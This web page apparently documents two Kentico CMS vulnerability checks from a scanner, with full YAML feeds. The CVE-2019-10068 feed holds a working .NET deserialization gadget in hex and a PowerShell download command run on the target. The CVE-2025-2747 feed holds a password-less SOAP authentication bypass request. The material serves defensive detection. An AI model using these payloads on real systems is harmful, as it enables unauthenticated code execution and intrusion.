Kentico — 2 vulnerability checks
noctis ships 2 vulnerability checks for Kentico, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Kentico CMS Staging SyncServer .NET deserialization RCE
| CVE | CVE-2019-10068 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, wait_oob, match · highest QoD 97 |
| Feed | tests/vulnerabilities/kentico/CVE-2019-10068.yaml |
Detects the unauthenticated .NET deserialization RCE in Kentico CMS's Staging SyncServer web service (ProcessSynchronizationTaskData, Kentico <= 12.0.14). With OOB configured the feed performs real, benign exploitation: a TypeConfuseDelegate gadget whose only effect is one HTTP GET (PowerShell Net.WebClient) to the noctis OOB server, confirmed by the callback (QoD 97). Without OOB it proves the deserialization sink inertly (QoD 75): a SOAP object from a non-existent per-run assembly makes the SoapFormatter fail and name it in the error, while a plain-text control with the same nonce does not. Nothing is written to the target.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /CMSPages/Staging/SyncServer.asmx/ProcessSynchronizationTaskDatawith a crafted body - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Kentico CMS Staging SyncServer deserialization RCE confirmed via OOB (CVE-2019-10068)
- HTTP(S) request
POST /CMSPages/Staging/SyncServer.asmx/ProcessSynchronizationTaskDatawith a crafted body - HTTP(S) request
POST /CMSPages/Staging/SyncServer.asmx/ProcessSynchronizationTaskDatawith a crafted body - Parses / computes the next value with a Rhai script
- Checks
probe_resp.bodyforSerialization[A-Za-z.]*Exception→ finding QoD 75: Kentico CMS Staging SyncServer deserializes unauthenticated input (CVE-2019-10068)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2019-10068
- https://www.aon.com/cyber-solutions/aon_cyber_labs/unauthenticated-remote-code-execution-in-kentico-cms/
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-10068.yaml
- https://github.com/rapid7/metasploit-framework/pull/13107
Feed source — tests/vulnerabilities/kentico/CVE-2019-10068.yaml
# Kentico CMS — unauthenticated .NET deserialization RCE in the Staging
# SyncServer web service (CVE-2019-10068, CISA KEV, Kentico <= 12.0.14).
#
# `/CMSPages/Staging/SyncServer.asmx/ProcessSynchronizationTaskData` hands the
# `stagingTaskData` form field to a .NET SoapFormatter BEFORE any staging
# authentication — an attacker-chosen object graph is deserialized.
#
# ── Two detection methods, highest QoD wins ─────────────────────────────────
#
# Method 1 — REAL exploitation (QoD 97, OOB-confirmed) ─────────────────────
# The public exploit chain (Nuclei / Metasploit kentico_staging_syncserver):
# a SOAP-serialized `WindowsIdentity` whose `actor` claim carries a
# BinaryFormatter `TypeConfuseDelegate` gadget (SortedSet<string> +
# ComparisonComparer swapped for `Process.Start(string, string)`).
# The gadget is assembled at scan time (`build-gadget`): the byte-exact
# ysoserial.net skeleton used by the Nuclei template, with its only
# variable field — the `Process.Start("cmd", <args>)` argument string — replaced
# by `/c powershell -nop -c (New-Object Net.WebClient).DownloadString('<oob_url>')`:
# ONE benign HTTP GET to the noctis OOB server (works from PowerShell 2.0,
# e.g. Windows Server 2008 R2, unlike Invoke-WebRequest). Nuclei's own payload drops and runs an executable from
# %TEMP%; this feed writes nothing, starts no listener, exfiltrates nothing.
# `wait_oob` confirming the callback proves code execution. Guarded by
# `condition: "oob_enabled"`.
#
# Method 2 — inert deserialization-sink proof (QoD 75, no OOB) ─────────────
# Sends a SOAP envelope whose only element is a type from an assembly that
# does not exist (`NoctisAsm_<nonce>`). Nothing can be instantiated or run.
# A vulnerable server feeds it to SoapFormatter, whose type resolution fails
# and the ASMX 500 error names the per-run assembly/type
# (SerializationException). Reported only when that happens AND a control
# request carrying the same nonce as plain text (not a SOAP object) does not
# reflect it — so a page that echoes any input is not reported. This proves
# attacker input reaches the unauthenticated deserializer, not just that the
# endpoint exists. It relies on the ASMX error text being returned (the
# default for web-service faults); when it is hidden only Method 1 detects.
# Assumption: hotfix 12.0.15+ refuses the request before the SoapFormatter
# runs. If a patched build instead resolved types through a binder that
# echoed the rejected assembly name, Method 2 could report it; Method 1
# (code execution) cannot.
#
# Better than the Nuclei/OpenVAS-style check: Nuclei reports on a 500 with
# `InvalidCastException` after running a dropper (not benign, and a 500 cast
# error is not proof of execution); here exploitation is confirmed by an OOB
# callback and the fallback proves the sink with a per-run nonce + control.
#
# References:
# - https://nvd.nist.gov/vuln/detail/CVE-2019-10068
# - https://www.aon.com/cyber-solutions/aon_cyber_labs/unauthenticated-remote-code-execution-in-kentico-cms/
# - https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-10068.yaml
# - https://github.com/rapid7/metasploit-framework/pull/13107
uid: b2ac4db2-dc99-4819-bff0-3ba1dae4618f
name: "Kentico CMS Staging SyncServer .NET deserialization RCE (CVE-2019-10068)"
description: |
Detects the unauthenticated .NET deserialization RCE in Kentico CMS's Staging
SyncServer web service (ProcessSynchronizationTaskData, Kentico <= 12.0.14).
With OOB configured the feed performs real, benign exploitation: a
TypeConfuseDelegate gadget whose only effect is one HTTP GET (PowerShell
Net.WebClient) to the noctis OOB server, confirmed by the callback
(QoD 97). Without OOB it proves the deserialization sink inertly (QoD 75): a
SOAP object from a non-existent per-run assembly makes the SoapFormatter fail
and name it in the error, while a plain-text control with the same nonce does
not. Nothing is written to the target.
cves: [CVE-2019-10068]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags:
- kentico
- cms
- deserialization
- dotnet
- soapformatter
- rce
- oob
- intrusive
- kev
services:
- http
- https
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2019-10068"
- "https://www.aon.com/cyber-solutions/aon_cyber_labs/unauthenticated-remote-code-execution-in-kentico-cms/"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-10068.yaml"
- "https://github.com/rapid7/metasploit-framework/pull/13107"
steps:
# Per-run nonce for the inert branch (letters/digits only — valid in an XML
# name and an assembly name).
- id: gen-nonce
action: script
code: |
"n" + rand_hex(12)
store_as: nonce
# Seed every var a later condition reads (undefined Rhai var → error → false).
- id: init-probe-reflected
action: set_var
var_name: probe_reflected
var_value: false
- id: init-control-reflected
action: set_var
var_name: control_reflected
var_value: false
# ── Method 1: REAL exploitation — TypeConfuseDelegate + OOB ────────────────
# Byte-exact BinaryFormatter TypeConfuseDelegate skeleton (from the Nuclei
# template), split around its single variable field: the Process.Start
# argument string. gadget_prefix_hex ends with that string's record header
# (BinaryObjectString, objectId 6); the length varint + string bytes are
# spliced in by build-gadget; gadget_suffix_hex starts with the "cmd" string.
- id: init-gadget-prefix
action: set_var
var_name: gadget_prefix_hex
var_value: "0001000000ffffffff01000000000000000c020000004953797374656d2c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038390501000000840153797374656d2e436f6c6c656374696f6e732e47656e657269632e536f7274656453657460315b5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d0400000005436f756e7408436f6d70617265720756657273696f6e054974656d7300030006088d0153797374656d2e436f6c6c656374696f6e732e47656e657269632e436f6d70617269736f6e436f6d706172657260315b5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d080200000002000000090300000002000000090400000004030000008d0153797374656d2e436f6c6c656374696f6e732e47656e657269632e436f6d70617269736f6e436f6d706172657260315b5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d010000000b5f636f6d70617269736f6e032253797374656d2e44656c656761746553657269616c697a6174696f6e486f6c64657209050000001104000000020000000606000000"
- id: init-gadget-suffix
action: set_var
var_name: gadget_suffix_hex
var_value: "060700000003636d6404050000002253797374656d2e44656c656761746553657269616c697a6174696f6e486f6c646572030000000844656c6567617465076d6574686f6430076d6574686f64310303033053797374656d2e44656c656761746553657269616c697a6174696f6e486f6c6465722b44656c6567617465456e7472792f53797374656d2e5265666c656374696f6e2e4d656d626572496e666f53657269616c697a6174696f6e486f6c6465722f53797374656d2e5265666c656374696f6e2e4d656d626572496e666f53657269616c697a6174696f6e486f6c64657209080000000909000000090a00000004080000003053797374656d2e44656c656761746553657269616c697a6174696f6e486f6c6465722b44656c6567617465456e74727907000000047479706508617373656d626c79067461726765741274617267657454797065417373656d626c790e746172676574547970654e616d650a6d6574686f644e616d650d64656c6567617465456e747279010102010101033053797374656d2e44656c656761746553657269616c697a6174696f6e486f6c6465722b44656c6567617465456e747279060b000000b00253797374656d2e46756e6360335b5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e446961676e6f73746963732e50726f636573732c2053797374656d2c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d060c0000004b6d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038390a060d0000004953797374656d2c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62373761356335363139333465303839060e0000001a53797374656d2e446961676e6f73746963732e50726f63657373060f000000055374617274091000000004090000002f53797374656d2e5265666c656374696f6e2e4d656d626572496e666f53657269616c697a6174696f6e486f6c64657207000000044e616d650c417373656d626c794e616d6509436c6173734e616d65095369676e61747572650a5369676e6174757265320a4d656d626572547970651047656e65726963417267756d656e747301010101010003080d53797374656d2e547970655b5d090f000000090d000000090e00000006140000003e53797374656d2e446961676e6f73746963732e50726f636573732053746172742853797374656d2e537472696e672c2053797374656d2e537472696e672906150000003e53797374656d2e446961676e6f73746963732e50726f636573732053746172742853797374656d2e537472696e672c2053797374656d2e537472696e6729080000000a010a00000009000000061600000007436f6d70617265090c00000006180000000d53797374656d2e537472696e6706190000002b496e74333220436f6d706172652853797374656d2e537472696e672c2053797374656d2e537472696e6729061a0000003253797374656d2e496e74333220436f6d706172652853797374656d2e537472696e672c2053797374656d2e537472696e6729080000000a011000000008000000061b0000007153797374656d2e436f6d70617269736f6e60315b5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d090c0000000a090c000000091800000009160000000a0b"
# Build Process.Start("cmd", "/c powershell -nop -c (New-Object Net.WebClient).DownloadString('<oob_url>')"):
# one benign GET to the OOB server. LengthPrefixedString uses a 7-bit varint.
# The base64 is then form-encoded (+ / =) for the stagingTaskData field.
- id: build-gadget
action: script
condition: "oob_enabled"
store_as: gadget_b64
code: |
let args = "/c powershell -nop -c (New-Object Net.WebClient).DownloadString('" + oob_url + "')";
let n = strlen(args);
let vi = if n < 128 { p8(n) } else { p8((n % 128) + 128) + p8(n / 128) };
let b64 = base64_encode_hex(gadget_prefix_hex + vi + hexstr(args) + gadget_suffix_hex);
str_replace(str_replace(str_replace(b64, "+", "%2B"), "/", "%2F"), "=", "%3D")
# POST the SOAP-serialized WindowsIdentity bridge carrying the gadget to the
# unauthenticated SyncServer method — the genuine CVE-2019-10068 vector.
- id: deser-exploit
action: http_request
condition: "oob_enabled"
method: POST
path: "/CMSPages/Staging/SyncServer.asmx/ProcessSynchronizationTaskData"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "stagingTaskData=%3CSOAP-ENV%3AEnvelope%20xmlns%3Axsi%3D%22http%3A%2F%2Fwww.w3.org%2F2001%2FXMLSchema-instance%22%20xmlns%3Axsd%3D%22http%3A%2F%2Fwww.w3.org%2F2001%2FXMLSchema%22%20xmlns%3ASOAP-ENC%3D%22http%3A%2F%2Fschemas.xmlsoap.org%2Fsoap%2Fencoding%2F%22%20xmlns%3ASOAP-ENV%3D%22http%3A%2F%2Fschemas.xmlsoap.org%2Fsoap%2Fenvelope%2F%22%20xmlns%3Aclr%3D%22http%3A%2F%2Fschemas.microsoft.com%2Fsoap%2Fencoding%2Fclr%2F1.0%22%20SOAP-ENV%3AencodingStyle%3D%22http%3A%2F%2Fschemas.xmlsoap.org%2Fsoap%2Fencoding%2F%22%3E%3CSOAP-ENV%3ABody%3E%3Ca1%3AWindowsIdentity%20id%3D%22ref-1%22%20xmlns%3Aa1%3D%22http%3A%2F%2Fschemas.microsoft.com%2Fclr%2Fnsassem%2FSystem.Security.Principal%2Fmscorlib%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089%22%3E%3CSystem.Security.ClaimsIdentity.actor%20id%3D%22ref-2%22%20xmlns%3D%22%22%20xsi%3Atype%3D%22xsd%3Astring%22%3E{{gadget_b64}}%3C%2FSystem.Security.ClaimsIdentity.actor%3E%3C%2Fa1%3AWindowsIdentity%3E%3C%2FSOAP-ENV%3ABody%3E%3C%2FSOAP-ENV%3AEnvelope%3E"
store_as: deser_resp
- id: wait-callback
action: wait_oob
condition: "oob_enabled"
oob_timeout_secs: 20
store_as: oob_result
on_success:
finding:
title: "Kentico CMS Staging SyncServer deserialization RCE confirmed via OOB (CVE-2019-10068)"
description: "The unauthenticated Kentico Staging SyncServer (ProcessSynchronizationTaskData) deserialized a .NET object graph we supplied and executed its payload — a single PowerShell HTTP GET to the noctis OOB server — confirming unauthenticated remote code execution (CVE-2019-10068). The payload wrote nothing to the target."
remediation: "Apply Kentico hotfix 12.0.15 or later (or upgrade), and block /CMSPages/Staging/SyncServer.asmx from untrusted networks when content staging is not used."
confidence_delta: 0.65 # 0.30 + 0.65 = 0.95
qod: 97
evidence: "OOB callback received after the TypeConfuseDelegate payload: {{oob_result.method}} request, headers {{oob_result.headers}}"
stop: true
# ── Method 2: inert deserialization-sink proof (QoD 75) ────────────────────
# SOAP object from a non-existent per-run assembly — nothing can be loaded.
- id: sink-probe
action: http_request
method: POST
path: "/CMSPages/Staging/SyncServer.asmx/ProcessSynchronizationTaskData"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "stagingTaskData=%3CSOAP-ENV%3AEnvelope%20xmlns%3Axsi%3D%22http%3A%2F%2Fwww.w3.org%2F2001%2FXMLSchema-instance%22%20xmlns%3Axsd%3D%22http%3A%2F%2Fwww.w3.org%2F2001%2FXMLSchema%22%20xmlns%3ASOAP-ENC%3D%22http%3A%2F%2Fschemas.xmlsoap.org%2Fsoap%2Fencoding%2F%22%20xmlns%3ASOAP-ENV%3D%22http%3A%2F%2Fschemas.xmlsoap.org%2Fsoap%2Fenvelope%2F%22%20xmlns%3Aclr%3D%22http%3A%2F%2Fschemas.microsoft.com%2Fsoap%2Fencoding%2Fclr%2F1.0%22%20SOAP-ENV%3AencodingStyle%3D%22http%3A%2F%2Fschemas.xmlsoap.org%2Fsoap%2Fencoding%2F%22%3E%3CSOAP-ENV%3ABody%3E%3Ca1%3ANoctisProbe_{{nonce}}%20id%3D%22ref-1%22%20xmlns%3Aa1%3D%22http%3A%2F%2Fschemas.microsoft.com%2Fclr%2Fnsassem%2FNoctis%2FNoctisAsm_{{nonce}}%22%3E%3C%2Fa1%3ANoctisProbe_{{nonce}}%3E%3C%2FSOAP-ENV%3ABody%3E%3C%2FSOAP-ENV%3AEnvelope%3E"
store_as: probe_resp
# Control: the same nonce as plain text, not a serialized object.
- id: control-probe
action: http_request
method: POST
path: "/CMSPages/Staging/SyncServer.asmx/ProcessSynchronizationTaskData"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "stagingTaskData=NoctisControl_{{nonce}}"
store_as: control_resp
- id: evaluate-signals
action: script
condition: "probe_resp.status == 500 && type_of(control_resp) == \"map\""
store_as: eval_result
code: |
probe_reflected = probe_resp.body.contains("Serialization") && probe_resp.body.contains("NoctisAsm_" + nonce);
control_reflected = control_resp.body.contains(nonce);
probe_reflected
- id: report
action: match
source: probe_resp.body
pattern: "Serialization[A-Za-z.]*Exception"
condition: "probe_resp.status == 500 && probe_reflected == true && control_reflected == false"
on_match:
finding:
title: "Kentico CMS Staging SyncServer deserializes unauthenticated input (CVE-2019-10068)"
description: "The unauthenticated Kentico Staging SyncServer (ProcessSynchronizationTaskData) passed a SOAP object we supplied to the .NET SoapFormatter: type resolution of this run's non-existent assembly failed and was reported back, while a plain-text control with the same nonce was not reflected. This is the CVE-2019-10068 deserialization sink, reachable without authentication. This inert check loaded nothing; run with --oob to confirm code execution (QoD 97)."
remediation: "Apply Kentico hotfix 12.0.15 or later (or upgrade), and block /CMSPages/Staging/SyncServer.asmx from untrusted networks when content staging is not used."
confidence_delta: 0.45 # 0.30 + 0.45 = 0.75
qod: 75
evidence: "SoapFormatter tried to resolve per-run assembly NoctisAsm_{{nonce}}: {{probe_resp.body}}"
stop: trueKentico Xperience Staging Service authentication bypass (None password type)
| CVE | CVE-2025-2747 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/kentico/CVE-2025-2747.yaml |
Posts a ProcessSynchronizationTaskData call to the Kentico Xperience Staging service (/CMSPages/Staging/SyncServer.asmx, in the web root and under /Kentico13_Admin) with a WS-Security UsernameToken that names the staging user (admin) but carries no password, and as task data an XML element with a random name that is never closed. The finding fires with high confidence when the service answers with a WS-Addressing SOAP reply, without an authentication fault, whose result names the random element from its XML parse error: the call ran as the staging user without a password. It fires with lower confidence when that reply instead reports an unlicensed or stopped site, an answer the service only gives after authentication. The task data is not a valid staging task, so nothing is created or changed.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{dir}}/CMSPages/Staging/SyncServer.asmxwith a crafted body - Parses / computes the next value with a Rhai script
- Checks
v.stfor.→ finding QoD 97: Kentico Xperience Staging Service authentication bypass (None password type) - Checks
v.stfor.→ finding QoD 75: Kentico Xperience Staging Service authentication bypass (None password type)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2025-2747
- https://github.com/watchtowrlabs/kentico-xperience13-AuthBypass-wt-2025-0011
- https://labs.watchtowr.com/bypassing-authentication-like-its-the-90s-pre-auth-rce-chain-s-in-kentico-xperience-cms/
Feed source — tests/vulnerabilities/kentico/CVE-2025-2747.yaml
# Kentico Xperience 13 Staging SyncServer authentication bypass, "None" password type
# (CVE-2025-2747, watchTowr WT-2025-0011, CISA KEV). Fixed in hotfix 13.0.178.
#
# The Staging service (/CMSPages/Staging/SyncServer.asmx, ASMX behind WSE 3.0) checks a
# WS-Security UsernameToken when it runs with user name/password authentication. A token
# that carries a Username and NO Password element (WSE "SendNone") is not rejected: the
# call is processed as the staging user. Before hotfix 173 any user name works; from 173
# to 177 the name must be the staging user (default "admin").
#
# Detection (same request as the watchTowr WT-2025-0011 check; the public Nuclei
# templates swap the two IDs — its CVE-2025-2746.yaml sends this request): POST
# ProcessSynchronizationTaskData with a password-less token for "admin" and, as task data,
# the CDATA text "<noctis<random>>" — an XML element that is never closed. Once past
# authentication the method parses the task data as XML and the parse error names the
# element. Proof:
# - QoD 97: the reply is a WS-Addressing SOAP message (a wsa:Action header the request
# does not contain), names the random element WITHOUT its opening "<" or "<" (the server
# parsed the data: the request only ever carries "<noctis…>"), and holds none of the
# refusal texts (WSE authentication fault, staging disabled, blank password, X.509).
# - QoD 75: same WS-Addressing reply without a refusal, answering "Site not running" or
# SyncServer.ErrorLicense / ErrorServiceNotEnabled — texts the method returns after
# authentication (watchTowr: bypassed, but the instance is unlicensed or stopped).
#
# Previous version (issue #2360): posted a fictional SOAP action and matched its own
# marker anywhere in a 200 body, so a server echoing the request was reported. The
# request now holds no wsa:Action and never the bare element name, so echoing it cannot
# match. Also probed under /Kentico13_Admin, the admin application's default
# virtual directory in Xperience 13 installations.
#
# The task data is not a staging task: nothing is created, changed or synchronised.
#
# References:
# - https://github.com/watchtowrlabs/kentico-xperience13-AuthBypass-wt-2025-0011
# - https://labs.watchtowr.com/bypassing-authentication-like-its-the-90s-pre-auth-rce-chain-s-in-kentico-xperience-cms/
# - https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-2746.yaml
#
# Known misses: hotfix 173-177 when the staging user is not "admin" (the WSE fault is
# returned, as for a patched server), and an admin application in another virtual
# directory than / or /Kentico13_Admin.
uid: dc167220-f96b-4d4c-a047-7c76cdca0164
name: "Kentico Xperience Staging Service authentication bypass (None password type)"
description: >-
Posts a ProcessSynchronizationTaskData call to the Kentico Xperience Staging service
(/CMSPages/Staging/SyncServer.asmx, in the web root and under /Kentico13_Admin) with a
WS-Security UsernameToken that names the staging user (admin) but carries no password,
and as task data an XML element with a random name that is never closed. The finding
fires with high confidence when the service answers with a WS-Addressing SOAP reply,
without an authentication fault, whose result names the random element from its XML
parse error: the call ran as the staging user without a password. It fires with lower
confidence when that reply instead reports an unlicensed or stopped site, an answer the
service only gives after authentication. The task data is not a valid staging task, so
nothing is created or changed.
cves: [CVE-2025-2747]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.30
tags: [auth-bypass, soap, cms, kentico, kev]
services: [http, https]
author: noctis
version: "1.1.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2025-2747"
- "https://github.com/watchtowrlabs/kentico-xperience13-AuthBypass-wt-2025-0011"
- "https://labs.watchtowr.com/bypassing-authentication-like-its-the-90s-pre-auth-rce-chain-s-in-kentico-xperience-cms/"
steps:
- id: gen
action: script
code: |
#{ tag: "noctis" + rand_str(12) }
store_as: rv
# Loop group: every following step runs once per directory. Pre-initialise the stored
# result so a failed request never leaves it undefined or holding the previous reply.
- id: init-soap
action: set_var
var_name: soap_resp
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/Kentico13_Admin"]
- id: soap-probe
action: http_request
method: POST
path: "{{dir}}/CMSPages/Staging/SyncServer.asmx"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "text/xml; charset=utf-8"
SOAPAction: '"http://localhost/SyncWebService/SyncServer/ProcessSynchronizationTaskData"'
body: |
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
<wsse:UsernameToken>
<wsse:Username>admin</wsse:Username>
</wsse:UsernameToken>
</wsse:Security>
</soap:Header>
<soap:Body>
<ProcessSynchronizationTaskData xmlns="http://localhost/SyncWebService/SyncServer">
<stagingTaskData><![CDATA[<{{rv.tag}}>]]></stagingTaskData>
</ProcessSynchronizationTaskData>
</soap:Body>
</soap:Envelope>
store_as: soap_resp
- id: verdict
action: script
code: |
let b = if type_of(soap_resp.body) == "string" { soap_resp.body } else { "" };
let answered = type_of(soap_resp.status) == "i64" && soap_resp.status > 0;
// WS-Addressing header of a WSE reply: never part of the request.
let wsa = ereg("<(\\w+:)?Action[\\s>]", b);
let refused = ereg("security token could not be authenticated|Staging service is not enabled|Staging does not work with blank password|Missing X509 certificate token", b, true);
// The random element named without its "<": the server parsed the task data.
let named = ereg("(^|[^<\\w;])" + rv.tag + "([^\\w>]|$)", b);
let parsed = answered && wsa && !refused && named;
let unlicensed = answered && wsa && !refused && !parsed
&& ereg("Site not running|SyncServer\\.Error(License|ServiceNotEnabled)", b);
let snip = "";
if parsed {
let m = eregmatch("([^<>]{0,120}[^<\\w;]" + rv.tag + "[^<>]{0,60})", b);
if m.len() > 1 { snip = m[1]; }
} else if unlicensed {
let m = eregmatch("(Site not running|SyncServer\\.Error(License|ServiceNotEnabled))", b);
if m.len() > 1 { snip = m[1]; }
}
#{ parsed: parsed, unlicensed: unlicensed, snip: snip,
st: if parsed || unlicensed { "" + soap_resp.status } else { "" } }
store_as: v
- id: staging-auth-bypass
action: match
source: v.st
pattern: "."
condition: "v.parsed"
on_match:
finding:
title: "Kentico Xperience Staging Service authentication bypass (None password type)"
description: "The Kentico Xperience Staging service accepts a WS-Security UsernameToken that names the staging user but carries no password: an unauthenticated call to ProcessSynchronizationTaskData was processed and its result names the random XML element sent as task data. An unauthenticated attacker can send staging tasks as the staging user and create or change administrative objects (users, pages, media files), which leads to remote code execution."
confidence_delta: 0.65
qod: 97
evidence: "POST {{dir}}/CMSPages/Staging/SyncServer.asmx (ProcessSynchronizationTaskData, UsernameToken admin without password, task data <{{rv.tag}}>) answered HTTP {{v.st}} with a WS-Addressing SOAP reply naming the element: {{v.snip}}"
remediation: "Apply Kentico Xperience 13 hotfix 13.0.178 or later. Until then disable the Staging service on servers that do not receive staging tasks, restrict /CMSPages/Staging/ to the source staging servers, or switch the Staging service to X.509 certificate authentication."
stop: true
- id: staging-auth-bypass-unlicensed
action: match
source: v.st
pattern: "."
condition: "v.unlicensed"
on_match:
finding:
title: "Kentico Xperience Staging Service authentication bypass (None password type)"
description: "The Kentico Xperience Staging service accepts a WS-Security UsernameToken that names the staging user but carries no password: an unauthenticated call to ProcessSynchronizationTaskData passed authentication and was answered with the method's own licence or site-state error. An unauthenticated attacker can reach the staging methods as the staging user; on a licensed, running site this allows creating or changing administrative objects and leads to remote code execution."
confidence_delta: 0.55
qod: 75
evidence: "POST {{dir}}/CMSPages/Staging/SyncServer.asmx (ProcessSynchronizationTaskData, UsernameToken admin without password) answered HTTP {{v.st}} with a WS-Addressing SOAP reply and no authentication fault: {{v.snip}}"
remediation: "Apply Kentico Xperience 13 hotfix 13.0.178 or later. Until then disable the Staging service on servers that do not receive staging tasks, restrict /CMSPages/Staging/ to the source staging servers, or switch the Staging service to X.509 certificate authentication."
stop: true